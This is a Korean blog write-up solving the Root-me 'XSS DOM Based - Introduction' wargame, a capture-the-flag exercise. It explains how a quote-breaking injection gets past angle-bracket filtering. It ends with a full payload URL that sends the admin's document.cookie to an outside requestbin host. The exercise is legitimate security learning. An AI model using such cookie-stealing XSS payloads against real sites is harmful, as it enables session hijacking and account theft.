Wargame/Root-me = Web - Client
XSS DOM Based - Introduction
지우친구 웅이
2022. 11. 8. 21:55
0과 100사이 중 하나의 숫자를 입력한다.
var random = Math.random() * (99);
var number = '7';
if(random == number) {
document.getElementById('state').style.color = 'green';
document.getElementById('state').innerHTML = 'You won this game but you don\'t have the flag ;)';
}
else{
document.getElementById('state').style.color = 'red';
document.getElementById('state').innerText = 'Sorry, wrong answer ! The right answer was ' + random;
}
random이 random()을 이용하고, 새로고침 시 random이 변하기 때문에 한 번에 맞추기는 거의 불가능하다.
개발자 도구 console을 이용해
var random = Math.random() * (99);
var number = random;
if(random == number) {
document.getElementById('state').style.color = 'green';
document.getElementById('state').innerHTML = 'You won this game but you don\'t have the flag ;)';
}
else{
document.getElementById('state').style.color = 'red';
document.getElementById('state').innerText = 'Sorry, wrong answer ! The right answer was ' + random;
}
number = random 으로 변경하면
문제 해결과는 상관없는 것 같다.
숫자를 입력하는 form을 살펴보면
GET 방식을 사용함을 알 수 있다.
XSS를 테스트 하기 위해
url창에 "http://challenge01.root-me.org/web-client/ch32/index.php?number=<script>alert(1)</script>" 입력해보면
스크립트문이 동작하지 않는다.
페이지 소스를 보면
<, >를 필터링하는 것을 알 수 있는데, number에 입력한 값이 들어가는 것을 이용하여
'; alert(1);// 를 입력하면
alert(1)이 실행되게 된다.
// 는 뒤를 주석처리한다.
이를 이용해 관리자의 쿠키를 탈취하면된다.
contact를 보면
url을 제출할 수 있다.
관리자가 url에 접근하면 쿠키를 탈취할 수 있게된다.
스크립트 문이 Main에서 동작하기 때문에
http://challenge01.root-me.org/web-client/ch32/index.php?number=';location.href="//requestbin.io/1qy6a8j1?cookie="+document.cookie;//
제출하면
관리자의 쿠키를 탈취할 수 있다.